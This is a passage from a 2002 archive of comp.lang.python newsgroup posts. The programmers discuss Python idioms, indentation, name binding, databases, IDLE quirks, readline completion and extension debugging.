use Perl. Admittedly, that didn't stop me porting a package from Perl recently, just so I could use Python instead... John From xiaotsing_79 at hotmail.com Sun May 5 03:48:58 2002 From: xiaotsing_79 at hotmail.com (David) Date: 5 May 2002 00:48:58 -0700 Subject: Error with "Not found: win32com.client" Message-ID: I copy the code from "Learning Python" charper10, and it report the error: Traceback (most recent call last): File "C:\MyCode\Python\Noname1.py", line 3, in ? from win32com.client import constants, Dispatch ImportError: No module named win32com.client Where I can down/inst this module? Thanks!~ From wlsonna at attglobal.net Mon May 20 21:15:21 2002 From: wlsonna at attglobal.net (William Sonna) Date: 21 May 2002 01:15:21 GMT Subject: Jython Swing Basics article References: Message-ID: <0O7zTzsxerl5-pn2-bxFgitwzkY47@localhost> On Mon, 20 May 2002 20:52:53 UTC, Rob Andrews wrote: > http://uselesspython.com/Jython_Swing_Basics.html > > With help from the Jython Users email list, I've written what seems to be a > pretty good second draft newbie article on Jython & swing for Useless > Python. Its best qualities are probably brevity and simplicity, showing how > to solicit user input, process it, and return a result using swing for GUI > components. > > There's probably plenty of room for improvement, but it may be of some use > for those of humble programming experience (such as myself), and it does > feature a few images of what one should expect to see from the code. > > I present it for anyone interested and for constructive criticism. > I think your demonstration shows one of the key features of Jython - the ablilty to run Swing (as well as JDOM or any other Java library) line by line, making it a powerful debugging tool both for both Java and Python. From jeff at ccvcorp.com Fri May 10 15:08:44 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 10 May 2002 12:08:44 -0700 Subject: Python vs. Perl, which is better to learn? References: <3CDAA5A5.D4077E5C@fnal.gov> <3CDB3AB2.12C5680F@cosc.canterbury.ac.nz> <3CDBE586.A81BA732@fnal.gov> Message-ID: In article <3CDBE586.A81BA732 at fnal.gov>, David J. Ritchie says... > I find I write that way in draft form and that it is effective at > getting my ideas into text form. Isn't there something to be > gained by devising a computing language which lets you take > that approach--rather than putting strictures on you very early > before you've even understood what it is that you want to > communicate to the machine? I find that, even when refactoring "rough" code, most of the indentation *structure* stays the same, even when the overall indentation level of a particular block changes. Even a braindead code editor will indent/dedent a block. I can think of very few realistic situations these days, where using a halfway decent editor to program in is a problem -- we've had fullscreen editors for decades now, and even when "lightweight" is a concern, something like ed is horribly obsolete. This looks to me like you're complaining that you can't do desktop publishing with a manual typewriter... > If so, then a computer language that lets you move blocks of > code around easily is an advantage. With Python, it is clear > that you need to augment the language with a suitably capable > editor if you adopt that composition style. Maybe it's just the > beginning of the indication that one should be composing--not > in a text editor at all--but in a design tool that generates the > text--that's sort of what the popularity of the "visual xxx" things > are saying... I don't think this is just a Python issue. I think that if you're reformatting *any* code, and leaving the indentation ragged, then you're making things confusing to read later. You're failing to properly edit it into the most sensible and understandable style, and therefore you're not living up to your claimed composition style. I (unfortunately) spend a fair amount of time programming Basic, which cares nothing for indentation, and I absolutely *loathe* working with inconsistently indented (or unindented) code. It is a joy to me that Python requires proper indentation, and I would say that any coding style that does not result in consistent indentation is a broken style. You *need* to reindent code anyhow, to make it comprehensible, so complaining that Python requires that is silly. (Besides, back when I used to do C++, when I refactored I always had to spend time doublechecking that both the moved code and the area it was cut from had the proper number of braces. At least with indenting, the issue is easily visible. -- Jeff Shannon Technician/Programmer Credit International From jeff at ccvcorp.com Tue May 14 13:56:47 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 14 May 2002 10:56:47 -0700 Subject: #ifdef like question. References: Message-ID: In article , Roman Yakovenko says... > Guys don't you think that we have some nice method to solve this problem? > > The problem: writing code using new futures( like generators, ...)=20 > and code with the same functionality ( interface ) but using old = > methods. No, I don't think there's a need for a nicer way to write two sets of code with identical functionality. Once you've written the old, backwards-compatible code, then (as Dave Brueck has already pointed out) where's the benefit in also writing the using-new-features code? And if you cannot get the functionality you need without the new features, then trying to provide a partial, incompatible solution in a transparent way is a mistake. If it's not completely compatible, then you *want* to force it to be explicitly used. If it *is* completely compatible, then writing old *and* new gains you nothing. Therefore, you should just write old-style code if you need to support older Python versions, and you should require a new Python version if you must use new features. This really is the only "nice method" to solve this. -- Jeff Shannon Technician/Programmer Credit International From jjl at pobox.com Sun May 12 11:01:06 2002 From: jjl at pobox.com (John J. Lee) Date: Sun, 12 May 2002 16:01:06 +0100 (BST) Subject: Conditional compilation In-Reply-To: <20020511141351.K25906@prim.han.de> Message-ID: On Sat, 11 May 2002, holger krekel wrote: > John J. Lee wrote: > > > """ and 'if 0:' are the standard possibilities. I guess one would > > > need a truly developer oriented IDE to implement this indepently from > > > language (handling say a all-included-file and a work-file separetely). > > > > > > Can't emacs or vi do folding/collapsing several lines into one line > > > and allow writing out non-folded lines only? > > [...] > > > > C-c # to comment, C-c rk to uncomment (kill rectangle, to be specific), in > > emacs. > > > thanks. but this doesn't do 'collapsing' several lines into temporary > nothingness. Sorry, was really replying to the thread in general rather than your specific Q.; but I think emacs' does have a minor mode to do this (can't remember what it's called, so this may be disinformation: could be a major mode, in which case you can't mix it w/ python-mode of course). John From luke.leighton at aspextechnology.com Fri May 3 06:23:04 2002 From: luke.leighton at aspextechnology.com (Luke Kenneth Casson Leighton) Date: Fri, 3 May 2002 10:23:04 +0000 Subject: [PEP] matching and mismatching In-Reply-To: ; from marklists@mceahern.com on Thu, May 02, 2002 at 11:10:07AM -0500 References: <3CD17107.A862ED1B@aspextechnology.com> Message-ID: <20020503102304.A1056@samba-tng.org> On Thu, May 02, 2002 at 11:10:07AM -0500, Mark McEahern wrote: > [Luke Kenneth Casson Leighton] > > the idea: a function/operator similar to map and reduce _or_ a keyword > > similar to "in", such that: > > > > for x in ([1,3,2,5,9] matching lambda x:x > 2): > > print x > > will output: > > 3 > > 5 > > 9 > > What's wrong with using list comprehensions? E.g., great! thanks! > >>> nums = range(1, 11) > >>> odds = [x for x in nums if x % 2] > >>> evens = [x for x in nums if not (x % 2)] > >>> nums > [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] > >>> odds > [1, 3, 5, 7, 9] > >>> evens > [2, 4, 6, 8, 10] interesting that you raise something that aspex's chip can optimise. the x % 2 and the not (x % 2) operations, apart from being able to perform the test in parallel, can do separate offloading of all numbers that "match" or "mismatch" the test. i.e. the match or mismatch is stored as a flag in every processing element, such that, well, it's best if i try to express it in pseudo-python: (odds, evens) = [x for x in nums (if x % 2, if not x % 2)] so, you performed the test on every element in the list. you offload into "odds". whilst the data is still loaded into the parallel array, you perform a second test (which happens to be the opposite of the first test, so you don't _actually_ need to issue a second instruction - that's the optimisation), and do a second offload (into "evens"). hm. you could also even extend this idea further: (odds, evens, triples) = [x for x in nums (if x % 2, if not x % 2, if x % 3)] what do think? worth a PEP? l. This email and any files transmitted with it, including replies and forwarded copies subsequently transmitted from Aspex Technology Limited, are confidential and solely for the use of the intended recipient. Any opinions expressed in this email are those of the individual and not necessarily those of Aspex Technology Limited. If you are not the intended recipient, be advised that you have received this email in error and that any use is strictly prohibited. If you have received this email in error, please notify us immediately by e-mail and delete the original message without keeping any copies. Aspex Technology Limited is registered in England and Wales No.3469577. The registered office for Aspex Technology Limited is York House, Cottingley Business Park, Bradford, BD16 1PF. From chris_mk at hotmail.com Thu May 30 16:03:59 2002 From: chris_mk at hotmail.com (Christopher) Date: 30 May 2002 13:03:59 -0700 Subject: How to concatenate list members References: Message-ID: I have to agree that '"sep".join(map(str, somelist))' is the best trade-off between simplicity and completeness (you never know when something may not be a string). If you go to http://www.mindview.net/Books/Python/ThinkingInPython.html (Bruce Eckel's page), he has a section on the page called "An idiom for concatenating strings" which looks like: cs = lambda *args: ''.join(map(str,args)) with an example of: print cs("X=",x," Y=",calc_y(x)) # you have to define calc_y somewhere else. If you do just look at it and work through it, it should make perfect sense. Chris holger krekel wrote in message news:... > Ruediger Maehl wrote: > > Hello Pythoneers, > > > > I would like to concatenate all members of a list of strings. > > How can I do that? > > I know, I can use a for loop over all elements and concatenate > > them to one string. But is there another more efficient solution? > > 1) "sep".join(somelist) > > joins all objects in somelist (but the objects must of string-type!) > > 2) "sep".join(map(str, somelist)) > > joins the string-representations of all objects in somelist > > regards, > > holger From haaserdnospam at hotpop.com Tue May 28 18:20:38 2002 From: haaserdnospam at hotpop.com (Roger) Date: Tue, 28 May 2002 15:20:38 -0700 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> Message-ID: <3CF402B6.3050606@hotpop.com> Richard Jones wrote: > On Tue, 28 May 2002 05:38, Gillou wrote: > >>"Corey Woodworth" a ?crit dans le message news: >>24d8090a.0205270854.6cadc50b at posting.google.com... >> >> >>>How should I save my database file for instance? I was thinking a text >>>file full of strings like this perhaps: >>> >>>songname::artist::performer::filename:: ... ... >> >>You'd better use a real database engine rather than a flat formatted file. >>"Many to 1", "1 to many" or (better) "many to many" relations are very >>difficult to handle in a flat text file. Even in XML, it's quite hard to >>handle. > > > For the simplest of all relational (multi-column) databases in python, try: > > http://gadfly.sf.net/ > > > Richard > > > I would second Gadfly as a suitable database for your project. Better and faster to use existing tools rather than write one. If someone hasn't already pointed it out check out: http://www.vex.net/~x/parnassus/ for some handy MP3 related utilities such as reading and updating MP3 tags. I am looking toward doing a similar thing using wxPython, but as a means of learning about wxPython. It may be awhile before I can devote much time to it. Roger From aleax at aleax.it Tue May 7 10:00:30 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 07 May 2002 14:00:30 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: <26RB8.14151$CN3.481737@news2.tin.it> Steve Holden wrote: ... >> def test(): >> print x >> x = 42 >> >> raises an error because the (empty, error-causing) binding for x is >> already in force when the "print" statement executes, before the "=" >> is even reached. >> > So, it appears that you think binding is the implicit declaration > assoicated with assignment to a name inside a particular scope? If so, it > would seem particularly perverse of the implementors to have chosen the > message > > "Unbound local variable" > > to indicate this situation. Clearly they regard the word "binding" as the > act of associating a value with a name (which is to say, making an entry > into the [admittedly conceptual] dictionary associated with a particular > namespace). You're both right. You (and I, when I talk about Python, and the author of this errormessage) use 'binding' in the simple Python sense of 'associating a name [in a wide sense of the word 'name', btw] with an object [aka value]'. Paul is using it in a different sense -- the association of a name [stricto sensu] with the _scope_ to which it belongs. It's damnably hard to find definitions of "binding" on typical online computer-lexicons, etc. *MY* priority is to wean Python students away from their typical conception (THAT one is indeed easy to find on online lexicons &c:-) that assignmenr "fills a variable with a value", "places a value into a variable", etc. The "into", "fill", &c, that are connotated by "assignment", give exactly the wrong idea and make learning Python much harder than it needs to be. > Paul, I'm afraid Alex isn't the only one who completely fails to > understand your insistence on a distinction between binding and what you > apparently call assignment (but which Alex and I would, I suspect, simply > call rebinding). Actually, I don't think I can say I completely fail to understand the distinction -- *Python* doesn't make any such distinction (so trying to make it is counterproductive when thinking in Python, coding Python, teaching Python, etc), but (e.g.) Lisp does, as do other languages. On one level is the issue of "what scope/namespace is this barename in". In C++, you can say "using somespace::thisname;" and this means that a bare use of 'thisname' now (in this scope) refers to somespace::thisname. This has NOTHING to do with the VALUE that namespace refers to or contains (which is set separately), but just with delineating whether when you just say 'thisname' you mean 'somespace::thisname' or rather 'theotherspace::thisname'. The only mechanism that Python has that is vaguely reminiscent of this is the global statement. On another level is the issue of "what value this name refers to", which is what you and I and the Python doc authors call binding. For example, def foo(): pass among other things establishes or changes what name 'foo' refers to. Unless overridden by a global statement, this also tells us that barename 'foo' is local to this scope. Because of this, Paul would apparently like to call (part of) the effect of 'def', 'class', 'import', 'from' &c "assignment". I disagree, as it seems you do, but if Paul is keen to call "binding" the issue of the previous paragraph, i.e. the establishment of a connection between a name and a SCOPE rather than between a name and a VALUE, I understand he'd be hungering for a term here. I think calling 'assignment' the name-binding part of 'def', etc, is horribly confusing and counterproductive. But Paul can probably point to languages where 'assignment' is used like that, rather than (as in Python) to name a specific, DIFFERENT statement. I'll still disagree, given that most Python newbies which have some other language experience are likely to think of "assighment" as in that lexicon -- the "filling" of some kind of named box, the "placing" into that box of a value. "Scoping" or (as in C++) "using" may be better names for 'connection of name and scope', and we can keep saying 'binding' for 'connection of name and value'. Which probably won't make Paul happy, but... > Consider namespaces as dictionaries. I *know* they aren't all implemented > as dictionaries, but bear with me. > You seem to be insisting that an operation is only a "binding" when the > key (name) does not already exist in the dictionary (namespace). If the > dictionary (namespace) already contains the key (name) then it's not a > rebinding, it's an "assignment". Rather, I think 'binding' in Paul's terminology is the operation of 'determining WHICH dictionary this name is supposed to be a key into'. Alex From mwh at python.net Wed May 22 05:52:20 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 22 May 2002 09:52:20 GMT Subject: string module References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: holger krekel writes: > Michael Hudson wrote: > > Fernando P?rez writes: [readline gripes] > > > Agreed. There's not much I can do about readline (I'm not going to > > > rewrite the whole thing!) > > > > Well, as you probably know, that's what *I* did... > > > > pyrepl hasn't seen much of my time of late, sadly. > > i just gave it a test. very interesting! it'a pity i am always > using vi-bindings (even in xemacs :-). Hey, do you want to write vi-bindings for pyrepl? It should be possible (it was meant to be, any way). I'm addicted to emacs-mode bindings so it's hard for me to tell if I'm getting it right (though I am getting better at using vi as an editor). > btw, Fernando already knows that i rewrote the rlcompleter module > to be a lot more comfortable. It works very differently from > the old rlcompleter by tokeninzing/parsing/evaluating subexpressions. > My current development version (requires readline :-) is here: > > http://home.trillke.net/~hpk/rlcompleter2.py > > just import it on a pure python installation (with readline available) > and play around :-) Wow, that's a peice of work! > If you want to continue development i'd definitely try to integrate my > rlcompleter2 module into pyrepl (and learn some emacs-bindings again :-). I would imagine that it would be *much* easier to do the kind of things you've done in rlcompleter2 for pyrepl, owing to it being "Python all the way down". Though you might need to worry about multiple lines and stuff. Hmm, so many things to worry about, so little time... Cheers, M. -- I sense much distrust in you. Distrust leads to cynicism, cynicism leads to bitterness, bitterness leads to the Awareness Of True Reality which is referred to by those-who-lack-enlightenment as "paranoia". I approve. -- David P. Murphy, alt.sysadmin.recovery From greg at cosc.canterbury.ac.nz Mon May 6 23:09:10 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Tue, 07 May 2002 15:09:10 +1200 Subject: Moving things in Tkinter References: <659f82ff.0205061040.14c36c09@posting.google.com> Message-ID: <3CD74556.48224F27@cosc.canterbury.ac.nz> Peter Scott wrote: > > I want to > make a program where there are several small icons, and by clickin and > dragging with the mouse you can move them to a different location. Sounds like a job for a Canvas widget. Add images to the Canvas, and bind event handlers to the images which detect clicking and dragging and update their positions accordingly. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From Katharina.Pergens at dlr.de Wed May 15 16:41:52 2002 From: Katharina.Pergens at dlr.de (Katharina.Pergens at dlr.de) Date: Wed, 15 May 2002 22:41:52 +0200 Subject: Merging contents of two files References: Message-ID: <3CE2C810.A8EF16CF@dlr.de> I want to write a script for searching the name of the author of the source files and generating an output file containing the author name (containing in java source file; see below), Explanation, File and Line (containing in txt file; see below). Bjorn Pettersen schrieb: > > > From: Katharina.Pergens at dlr.de [mailto:Katharina.Pergens at dlr.de] > > > > Sorry sending a html file. Once again. > > So what I have is a text file (.txt) like the following: > > > > Abbreviation Explanation File Line > > ------------ ----------- ---- ---- > > xyz comment for class /home/de/abc.java 13 > > ... ... ... ... > > > > The txt file contains of several lines and rows. The rows are > > seperated by tabs. The source file (mentioned as row 'File' > > in txt file) are java files. I search for > > firstname.secondname in the header: > > * Created: dd/mm/yyyy firstname.secondname > > > > How to write the script. Thanks for your help!! > > Are you asking for help in reading the text file or finding the specific > line in the java file? > > To get the filenames you can do something like: > > def getFilenames(txtfile): > res = [] > for line in file(txtfile): > res.append( line.split('\t')[2] ) > return res > > (you'll probably have to add some error checking ). > > For finding the specific line in the .java file, something like the > following should work: > > for fileName in getFilenames(txtfile): > fp = file(filename) > while 1: > line = fp.readline() > if not line: break > if line.find('firstname.secondname') != -1: > # you found the line... > break # unless you want to find multiple occurences > > hth, > -- bjorn From hughett at mercur.uphs.upenn.edu Fri May 3 10:19:48 2002 From: hughett at mercur.uphs.upenn.edu (Paul Hughett) Date: 3 May 2002 14:19:48 GMT Subject: Slice objects with negative increment References: Message-ID: Alex Martelli wrote: : Isn't that the whole point of "negative indices alias to nonnegative : ones"? It means that, for L>x>=0, x-L and x index the same item. It's obvious in retrospect, but my mental model was that -n maps to L-n, which doesn't immediately suggest that n and n-L are the same. It probably didn't help that I learned slicing from Matlab, which does not have the negative index convention. : Explaining is surely good. I think slicing can usefully be introduced : before slice-objects -- the latter are a tad harder because more general, : as they exist without specifically being tied to a given sequence (and : thus in particular to a given sequence _length_, which influences the : negative/nonnegative mapping). Yes. Thanks for explaining this issue for me. Paul Hughett From just at xs4all.nl Mon May 27 15:26:34 2002 From: just at xs4all.nl (Just) Date: Mon, 27 May 2002 21:26:34 +0200 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> <3cf27f1e@si-nic.hrz.uni-siegen.de> Message-ID: In article <3cf27f1e at si-nic.hrz.uni-siegen.de>, Simon Budig wrote: > Whow, this is impressive. Yes, this seems to work although this is > way beyond my python-scope :-) It's defintely pretty cool, the way Michael handled this... > I am not sure if I want to do this or if the interception of > sys.stdout is a more - uhm - Simon-friendly solution... ;-) Here's another solution: import sys, __builtin__ class NullFile: def write(self, s): pass def super_eval(expr): code = compile(expr, "", "single") try: del __builtin__._ except AttributeError: pass savestdout = sys.stdout try: sys.stdout = NullFile() eval(code) finally: sys.stdout = savestdout return getattr(__builtin__, "_", None) >>> super_eval("a = 2") >>> super_eval("3*4") 12 >>> super_eval("a = 2; b = 3; a*b") 6 >>> Just From whisper at oz.net Sat May 25 17:31:43 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 25 May 2002 14:31:43 -0700 Subject: Windows python 2.2.1 IDLE glitch - unittest output display nothing In-Reply-To: <13dc97b8.0205250552.4bb86b8c@posting.google.com> Message-ID: It may work if you do "python idle.py" from a command console and leave the console open. Don't use Pythonw since that disconnects the app from the console. Since Windows lacks a unified stdio for consoles and gui apps, redirection won't work and that's why you're seeing the difference between Windows and Linux. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Andy Bulka > Sent: Saturday, May 25, 2002 6:53 > To: python-list at python.org > Subject: Windows python 2.2.1 IDLE glitch - unittest output display > nothing > > > When running a script using CTRL-F5 under IDLE under windows 2000, > python 2.2.1 I find that unittests run but the resulting stderr output > does not appear at all? For example: > > import unittest, random > > class TestCase00(unittest.TestCase): > def checkA(self): > assert 1 > def checkB(self): > assert 0 > > def suite(): > suite1 = unittest.makeSuite(TestCase00,'check') > alltests = unittest.TestSuite( (suite1,) ) > return alltests > > def main(): > runner = unittest.TextTestRunner(descriptions=0, verbosity=2 > runner.run( suite() ) > > if __name__ == '__main__': > print 'Gonna run some tests...' > main() > > > It's as if stderr is 'lost' somewhere. This problem does not appear > under linux 2.2.1c - only windows (I can reproduce this problem under > two versions of windows 2000.) > > All my scripts with unittests thus cannot be tested using CTRL-F5 (Run > Script), which is pretty serious. What is going on? > > IDLE under the previous version python 2.1.3 works fine, as do > versions 2.1.3 & 2.2.1 of activestate pythonwin (work fine, that is). > All versions of IDLEfork 0.8.1 work ok too. Its only the standard > IDLE with the latest python 2.2.1 under windows has this problem. > > -Andy Bulka > www.atug.com/andypatterns > -- > http://mail.python.org/mailman/listinfo/python-list From gerhard at bigfoot.de Sat May 4 05:27:50 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 4 May 2002 09:27:50 GMT Subject: Insert blob data to MySQL References: Message-ID: Steve Holden wrote in comp.lang.python: > "Billy Ng" wrote ... >> Hi folks, >> >> Would any body tell me how to insert a blob object to the mysql blob field >> > > Here "cc" is a cursor on a MySQLdb connection ... > >>>> cc.execute("""CREATE TABLE blobtbl ( > ... i integer primary key auto_increment, > ... b blob)""") > 0L > [...] > must-remember-to-delete-that-table-ly y'rs - steve Aren't transactions cool? ;-) PostgreSQL-rules-ly yours, Gerhard PS: I know you could get transactions by using a different table type in the CREATE statement. -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From pecora at anvil.nrl.navy.mil Fri May 10 10:23:45 2002 From: pecora at anvil.nrl.navy.mil (Louis M. Pecora) Date: Fri, 10 May 2002 10:23:45 -0400 Subject: What Exceptions are there? (was: "a better input") References: <080520021314438230%alexis.layton@post.harvard.edu> <1_tC8.40668$zW3.442583@news1.tin.it> Message-ID: <100520021023459171%pecora@anvil.nrl.navy.mil> In article , Andrew Dalke wrote: > > def isThisAComplexLiteral(this): > > try: complex(this) > > except: return False > > else: return True > > Minor point. "except ValueError:" instead of "except:" as in Ok, you knew there was an exception of that type (ValueError), but is there a way to get a list of exceptions in a Python module or in the main Python core? There are probably zillions. No? How does one know what exceptions exist, i.e. what the programmer was thinking at the time? -- -- Lou Pecora - My views are my own. From yvan.radenac at equant.com Tue May 7 13:28:37 2002 From: yvan.radenac at equant.com (Yvan Radenac) Date: 7 May 2002 10:28:37 -0700 Subject: Result of I need your experience - classification and comparison of languages Message-ID: Hi, This is the results of the questions i asked few months ago as the post "I need your experience - classification and comparison" The subject of the report is "oriented object languages and their free implementation". First, thank you for your answers. You can find, in french, the report at http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf But, if you are interesting in, i can post the sheets in english. Regards, Yvan From markus.vonehr at ipm.fhg.de Wed May 15 03:06:31 2002 From: markus.vonehr at ipm.fhg.de (Markus von Ehr) Date: Wed, 15 May 2002 09:06:31 +0200 Subject: win32com, access of 2-dimensional Property References: <3CE12BB1.50FF6851@ipm.fhg.de> <3CE1AD11.7040101@skippinet.com.au> <3CE20861.7B862309@xx.com> Message-ID: <3CE208F7.F7E315B3@ipm.fhg.de> No my correct address. Should go on holiday Markus From BPettersen at NAREX.com Wed May 15 16:50:06 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 15 May 2002 14:50:06 -0600 Subject: Debugging my Python extensions (win32) Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E64@admin56.narex.com> > From: Giorgenes Gelatti [mailto:Gelatti at exatas.unisinos.br] > > Compile your module in debug mode. If you have the problem > "pythonxx_d.lib not > found" do the following: > In every #include you have in your file change it to: > > #ifdef _DEBUG Should there be an #undef _DEBUG here? (otherwise I can't see what difference it would make...) > #include > #define _DEBUG > #else > #include > #endif > > Well, with your dll linked ok, goto projects/settings menu. > 1) In the debug options/Executable for debug section select > the python executable > (eg. c:\python22\python.exe > 2) In working directory put the python directory (eg. c:\python22) Excellent! Thanks! -- bjorn From phr-n2002a at nightsong.com Sat May 11 18:10:47 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 11 May 2002 15:10:47 -0700 Subject: Python SHA-based encryption function, new version References: <7xu1pmxkco.fsf@ruckus.brouhaha.com> <7xbsbt643m.fsf@ruckus.brouhaha.com> <7x1ycpwpqz.fsf@ruckus.brouhaha.com> Message-ID: <7xg00yz66w.fsf@ruckus.brouhaha.com> Richard Parker writes: > Revision 1.15 appears to have a bug in p2_encrypt - the call to _hmac > appears to be using the ciphertext as the HMAC key and the authentication > key as the message. This can't have been what you intended, right? As it > stands it is insecure. The args to _hmac were reversed from the args to the encrypt function. Bah. I put a patch in the web copy and labelled it "revision 1.15a" but I won't have a chance to update the actual RCS for a while. Nice catch Richard. Thanks. From astavale at yahoo.co.uk Thu May 23 14:13:08 2002 From: astavale at yahoo.co.uk (Alistair Thomas) Date: Thu, 23 May 2002 19:13:08 +0100 Subject: pyGTK References: <3CEC1CD5.A7A57A8E@nospam.com> Message-ID: In article <3CEC1CD5.A7A57A8E at nospam.com>, "John J Breen" wrote: > Websites? Some open-source applications already written in pyGTK would > be great to look at the source code and see whats going on. Try these: Applications -------- GTablature: http://oomadness.tuxfamily.org/gtablature/en/ Gramps: http://gramps.sourceforge.net/ Tutorials ------ http://www.icon.co.za/%7Ezapr/Project1.html http://linuxfocus.org/English/July2000/article160.shtml Hope that helps, Al From mwh at python.net Wed May 22 06:09:45 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 22 May 2002 10:09:45 GMT Subject: Destructor References: Message-ID: Rajat Chopra writes: > I have a very quick and basic question -- but I was just when exactly a > Destructor is invoked? Do you have to delete the object (ex: del OBJECT ) > or is it enough to say OBJECT = None ??? Maybe you should read http://starship.python.net/crew/mwh/hacks/objectthink.html Asking about differences between "del ob" and "ob = None" suggests a certain level of misunderstanding... (NB: this page doesn't talk about destructors, so it doesn't answer your question -- but it might give you more insight). Cheers, M. -- 58. Fools ignore complexity. Pragmatists suffer it. Some can avoid it. Geniuses remove it. -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html From sandskyfly at hotmail.com Thu May 9 18:04:11 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 9 May 2002 15:04:11 -0700 Subject: Python stagnating? References: Message-ID: chrisl_ak at hotmail.com (Chris) wrote in message news:... > What is the status of Python development? Or the supporting > organization? I notice a lot of links in the FAQ and other documents > are outdated/broken, and surfing the web I saw a lot of references to > the "Python Starship" but it looks like it hasn't been updated in a > few years... No need to worry about Python development... As an example Greg Ewing made an observation about the relative (to Ruby) difficulty of writing python extension in http://groups.google.com/groups?oi=djq&selm=an_543792249 . Subsequently, Greg wrote Pyrex, a language specifically designed to ease python extension development... see (http://groups.google.com/groups?dq=&hl=en&group=comp.lang.python&safe=off&selm=mailman.1020946622.1316.clpa-moderators%40python.org) so my perspective, based on the interest in python, is that the language is strong because the people involved are strongly committed. regards, Sandy From whisper at oz.net Sat May 11 16:04:42 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 13:04:42 -0700 Subject: Python Service In-Reply-To: <004f01c1f8fa$db7895f0$ace2533e@fonso> Message-ID: Noooo..... pipes != services on NT/2k! Take a look at win32service in PythonWin32Extensions doc part of PythonWin. Even better py2exe: "Release 0.3.0: py2exe can now build windows NT services. The exe-file will now contain a version resource. " http://starship.python.net/crew/theller/py2exe/ David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Afonso Fernandez > Nogueira > Sent: Saturday, May 11, 2002 7:48 > To: python-list at python.org > Subject: Re: Python Service > > > ----- Original Message ----- > From: "David LeBlanc" > > I think python-win has such a utility. I'm pretty sure that there's some > > python thing that will support this. I think Zope might use it > to run Zope > > as a service. > > Bingo. From pythonwin docs: > > """ > win32pipe > A module that provides popen() functionality (and more!) to work > from a win32 GUI process (which os.popen doesnt!). This module > also exposes the win32 pipe API, allowing you to create and > connect named pipes. > """ > > cheers, > fonso > > > > -- > http://mail.python.org/mailman/listinfo/python-list From fperez528 at yahoo.com Wed May 8 02:02:32 2002 From: fperez528 at yahoo.com (Fernando Perez) Date: Wed, 08 May 2002 00:02:32 -0600 Subject: isinstance() not recognizing an instance correctly (python bug?) References: Message-ID: Martin v. Loewis wrote: > Fernando Perez writes: > >> I've found a rather unpleasant situation where isinstance(obj,cls)==0, even >> though obj _is_ indeed a cls() instance. I don't know if this should be >> considered a bug or just an unavoidable consequence of the circumstances >> where it happens. > > That's really hard to believe. Can you demonstrate it in a small, > self-contained example (including instructions like what Python > version to use, on what operating system, and what commands to execute > in what order)? I've enclosed below the code which produces the problem, but it's part of a large enough system that it doesn't work on its own. This is a full-blown interactive interpreter, and it would take me a couple of hours to disassemble enough of it to have only a few lines which work on their own and still show the problem. But if you want I can post on the web a tarball of a version with the problem activated and tell you exactly where it is in the code. >> Well, when 's' above is passed to display(), it fails to identify that s >> is indeed an instance of someclass(). The reason, I think, is that the >> interactive code is executed in a separate namespace than the display code, >> and therefore someclass exists with two different memory addresses. > > This is very unlikely. When somemodule is imported the second time, > sys.modules is checked to see whether it is already imported, and if > so, the existing module is re-used. In turn, somemodule.someclass > ought to be the same module all the time. > > One possible cause is that you import the same code both as a > submodule of a package, and as a top-level module > (i.e. somepackage.somemodule vs. somemodule). In that case, those two > copies will indeed have distinct definitions of someclass. > > In any case, without seeing further details, I'm unwilling to believe > that what you report actually happened. Well, here's a 'screenshot' of an interactive session with the problem: ---------------------------------------------------- [python]> ipython Python 2.2 (#1, Feb 24 2002, 16:21:58) Type "copyright", "credits" or "license" for more information. IPython 0.2.12pre13 -- An enhanced Interactive Python. ? -> Introduction to IPython's features. @magic -> Information about IPython's 'magic' @ functions. help -> Python's own help system. object? -> Details about 'object'. ?object also works, ?? prints more. In [1]: from Struct import Struct In [2]: s=Struct(a=1) In [3]: s Out[3]: is arg a Struct? 0 arg class Struct.Struct Struct({'a': 1}) In [4]: print s.__class__ Struct.Struct ---------------------------------------------------- The display code which is called at printing time is below (with the special mods which produce those messages): def _display(self,arg): """Default printer method, uses pprint. This can be over-ridden by the users to implement special formatting of certain types of output.""" if self.Pprint: try: print 'is arg a Struct?',isinstance(arg,Struct) print 'arg class',arg.__class__ if isinstance(arg,Struct): print 'STRUCT DETECTED!!!' out = ':\n%s' % pformat(arg.dict()) else: out = pformat(arg) except: out = pformat(arg) if '\n' in out: print print out else: print arg At the top of the module where the display code is located I have: from Struct import Struct So both the user-defined one and the internal one have been imported via the same statement. Note however that as I said, the interactive user code is run in a closed namespace, which is what (I think) causes the behavior. I could well be confused though. Cheers, f. From peter at engcorp.com Tue May 21 00:29:22 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 May 2002 00:29:22 -0400 